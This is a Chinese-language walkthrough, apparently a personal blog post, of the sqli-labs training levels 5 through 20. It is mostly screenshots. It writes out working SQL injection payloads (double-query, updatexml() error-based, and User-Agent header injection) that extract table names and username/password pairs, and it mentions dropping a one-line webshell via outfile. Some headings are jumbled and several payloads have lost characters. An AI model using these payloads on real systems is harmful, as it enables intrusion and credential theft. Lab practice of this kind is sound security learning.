less-5 ..less-6(构造 报错语句)
![](https://img.haomeiwen.com/i9202951/413ca9d169f17339.png)
less-5 (GET 类 布尔盲注)
![](https://img.haomeiwen.com/i9202951/c84f0fae70162cdc.png)
less-6 (GET 类 时间盲注)
![](https://img.haomeiwen.com/i9202951/a3565a2c14f5ea44.png)
less-7(导出 outfile)
less-8(布尔型盲注)
![](https://img.haomeiwen.com/i9202951/bc6d6dece2b1c8d0.png)
less-9(单引号 时间盲注)
less-10(双引号 时间盲注)
less-6
less-7
修改 my.ini 或者 使用 配置上的路径
![](https://img.haomeiwen.com/i9202951/688a9cc7979248ff.png)
my.ini 上的路径
![](https://img.haomeiwen.com/i9202951/edbebf482e43862a.png)
emmm...
![](https://img.haomeiwen.com/i9202951/2959dedb3279774b.png)
查看 um.txt
![](https://img.haomeiwen.com/i9202951/092593595ca1619d.png)
我们可以直接将一句话木马导入进去。
![](https://img.haomeiwen.com/i9202951/6f0c646ed0256165.png)
结果
![](https://img.haomeiwen.com/i9202951/e4de9db3ba30dd75.png)
less-13(单引号 双注入)
学习 sql 注入再次强调concat_ws的一个参数是连接字符串的分隔符,这里很明显可以看到,但一般第一个参数一般都不是这样传过去的,因为会被html编码,要使用mysql的char函数将十进制ASCII码转化成字符,如下面的(:的十进制ASCII是58),当然这里的分隔符也可以有多个
![](https://img.haomeiwen.com/i9202951/2fd71db39224aa4c.png)
查表
![](https://img.haomeiwen.com/i9202951/ba4e6b3a9e83e6b2.png)
less-14 ( POST 双注入)
![](https://img.haomeiwen.com/i9202951/57177b52aa9e1c28.png)
查表
![](https://img.haomeiwen.com/i9202951/627edd9cb6393412.png)
查字段
![](https://img.haomeiwen.com/i9202951/09ad3a25e5550c0b.png)
查密码
![](https://img.haomeiwen.com/i9202951/e8c4308547e5f0d9.png)
less-15(POST 类 布尔盲注)
![](https://img.haomeiwen.com/i9202951/e746b1449d777264.png)
查表
![](https://img.haomeiwen.com/i9202951/5c263526b7531a2d.png)
查字段
![](https://img.haomeiwen.com/i9202951/fdaea6baf68d6505.png)
查密码
![](https://img.haomeiwen.com/i9202951/1bffa83949d8e70c.png)
less-16 (POST 类 时间盲注)
![](https://img.haomeiwen.com/i9202951/f4b925687572e731.png)
查表
![](https://img.haomeiwen.com/i9202951/4368e981ddced0e5.png)
Less-17 (子查询)子查询注入的原理即双注入
concat 函数 group_concat 函数 concat_ws()函数
concat()与group_concat()
查询语句:
uname=admin&passwd=' or (SELECT 1 FROM(select count(),concat((select group_concat(0x7e,0x27,database(),0x27,0x7e)),floor(rand()2))a FROM information_schema.tables group by a)b) WHERE username='admin'%23
![](https://img.haomeiwen.com/i9202951/f3480235e636e7bd.png)
查表
uname=admin&passwd=' or (SELECT 1 FROM(select count(),concat((select group_concat(0x7e,0x27,table_name,0x27,0x7e) from information_schema.tables where table_schema='security'),floor(rand()2))a FROM information_schema.tables group by a)b) WHERE username='admin'%23
![](https://img.haomeiwen.com/i9202951/94b194174ce2d8f9.png)
查字段
uname=admin&passwd=' or (SELECT 1 FROM(select count(),concat((select group_concat(0x7e,0x27,column_name,0x27,0x7e) from information_schema.columns where table_schema='security' and table_name='users'),floor(rand()2))a FROM information_schema.tables group by a)b) WHERE username='admin'%23
![](https://img.haomeiwen.com/i9202951/9c2881a40bb0115f.png)
查 数据
uname=admin&passwd=' or (SELECT 1 FROM(select count(),concat((select concat(0x7e,id,0x27,username,0x27,password,0x7e) from users limit 0,1),floor(rand()2))a FROM information_schema.tables group by a)b) WHERE username='admin'%23
![](https://img.haomeiwen.com/i9202951/e6007373fe893b2f.png)
less-17(通过updatexml())
查库
uname=admin&passwd=' or updatexml(1,concat(0x7e,database(),0x7e),0)%23
![](https://img.haomeiwen.com/i9202951/cfea30217a7ce54e.png)
查表
uname=admin&passwd=' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),0)%23
![](https://img.haomeiwen.com/i9202951/18d0f349a3f8c2bb.png)
查字段
uname=admin&passwd=' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),0)%23
![](https://img.haomeiwen.com/i9202951/08d7046163698919.png)
查数据
![](https://img.haomeiwen.com/i9202951/59f6afa217b17629.png)
然并。。。
需要 这样:uname=admin&passwd=' or updatexml(1,concat(0x7e,(select * from(select concat_ws(char(32,58,32),username,password) from users limit 0,1)a),0x7e),0)%23
![](https://img.haomeiwen.com/i9202951/16dc4c1f813f615a.png)
less-18(_post 用户代理 头部注入)
修改 user-Agent
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:59.0) Gecko/20100101 Firefox/59.0' or updatexml(0,concat(0x7e,database(),0x7e),0),'1')#
![](https://img.haomeiwen.com/i9202951/fedc45d147606116.png)
less-19
修改 Referer
![](https://img.haomeiwen.com/i9202951/2268bee23a8e6de9.png)
查数据
![](https://img.haomeiwen.com/i9202951/3d5ec29f1a4cc295.png)
less-20
![](https://img.haomeiwen.com/i9202951/3b179eeb3e5fda4e.png)
网友评论